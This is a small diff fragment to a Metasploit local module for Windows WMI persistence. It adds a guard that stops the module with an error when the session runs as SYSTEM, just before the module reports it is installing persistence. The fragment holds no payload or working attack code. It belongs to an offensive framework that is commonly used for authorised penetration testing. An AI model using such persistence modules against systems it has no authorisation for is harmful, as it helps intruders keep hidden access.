+++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -91,6 +91,11 @@ class MetasploitModule < Msf::Exploit::Local return end + if is_system? + print_error("This module cannot run as System") + return + end + host = session.session_host print_status('Installing Persistence...')